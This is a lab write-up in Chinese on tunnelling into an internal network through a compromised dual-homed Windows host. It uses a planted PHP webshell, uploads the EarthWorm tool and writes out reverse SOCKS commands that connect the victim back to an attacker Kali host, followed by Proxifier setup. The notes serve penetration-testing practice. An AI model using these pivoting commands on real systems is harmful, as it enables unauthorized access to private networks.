# 打通內網(雙網卡) 範例機:windows2003 and kali-msf 1.我的phpstudy是用系統安裝,所以權限設定可能不同,請多留意 ![image](https://hackmd.io/_uploads/H1P7W85PC.png) ## 2. 在本機(外網)可通 ![image](https://hackmd.io/_uploads/B1MIZU5vR.png) 在本機(內網)不可通 ![image](https://hackmd.io/_uploads/HkGOWI9DA.png) ## 目的讓外網看到內網 # 範例1 : ew 使用ew打通 EW全名為EarthWorm簡稱叫做EW, 它是一套便攜式的網路工具, 具有SOCKS5服務架設和連接埠轉送兩大核心功能, 並且包含著LCX工具的功能,可以再複雜的網路環境實現網路穿透 EW可以已`正向`和`方向`以及多級級聯的方式建立網路隧道 這裡示範簡單的正向以及反向是實現過程 ### 先要架設正反向的連接 ![image](https://hackmd.io/_uploads/Sy_TmUqPC.png) 使用之前傳進去的123.php一句話木馬,使用工具打開內部資料夾 並上傳ew.exe(後面用來進行反向連接) 在上傳ew_for_linux給kali做正向連接 英文我看不懂所以說用chatgpt翻譯一下 ``` 版本 : free 1.0 ./xxx ([-選項] [值])* 選項 : 例子: ./xxx -s ssocksd -h -s state 設置功能。你可以從以下選項中選擇一個: ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave -l listenport 開啟一個埠以啟動服務。 -d refhost 設置反射主機地址。 -e refport 設置反射端口。 -f connhost 設置連接主機地址。 -g connport 設置連接端口。 -h help 顯示幫助文本。通過添加 -s 參數, 你還可以看到更詳細的幫助。 -a about 顯示關於頁面。 -v version 顯示版本。 -t usectime 設置超時的毫秒數。默認 值為 1000 ...... ``` 先用linux ![image](https://hackmd.io/_uploads/ryfDPIqDR.png) 發現不能運行,後來發現權限不夠 ``` chmod +x ew_for_linux ``` 給他加執行權限 ``` ./ew_for_linux -s rcsocks -l 1111 -e 3333 ``` 功用 ``` ./ew_for_linux:執行 ew_for_linux 工具。 -s rcsocks:選擇 rcsocks 功能,這個功能通常是用來設置遠程控制的 SOCKS 代理。 -l 1111:指定本地監聽端口為 1111,這意味著工具會在本地端口 1111 上等待傳入的連接。 -e 3333:指定遠程端口為 3333,這意味著工具會將數據轉發到遠程主機上的 3333 端口。 ``` 再到windows端開啟ew ``` ew.exe -s rssocks -d 80.0.0.129 -e 3333 ``` 正常來說`http://80.0.0.129:1111/dz/forum.php`因該要能連接到 但是他顯示亂碼,根據chatgpt所說可能是ew的問題,也可能是網站本來的問題 我error.log找不到問題,所以我推測是ew的問題 ![image](https://hackmd.io/_uploads/Sk1cVw9DR.png) 想著不要在一棵樹上掉死。我換了port(換成2222跟4444),但是 ![image](https://hackmd.io/_uploads/rJ0G8vcPA.png) 還是不行,所以先不管他 用Proxifier連接到本地試試 ![image](https://hackmd.io/_uploads/B197aY9w0.png) 配置文件->代理服務器-> ![image](https://hackmd.io/_uploads/r1Yqpt9DC.png) 測試結果 (10.0.0.2) ![image](https://hackmd.io/_uploads/Hk3R6FcPC.png) 測試結果 (80.0.0.135(我之後有換過ip但是不影響)) ![image](https://hackmd.io/_uploads/rJeG0FqPR.png)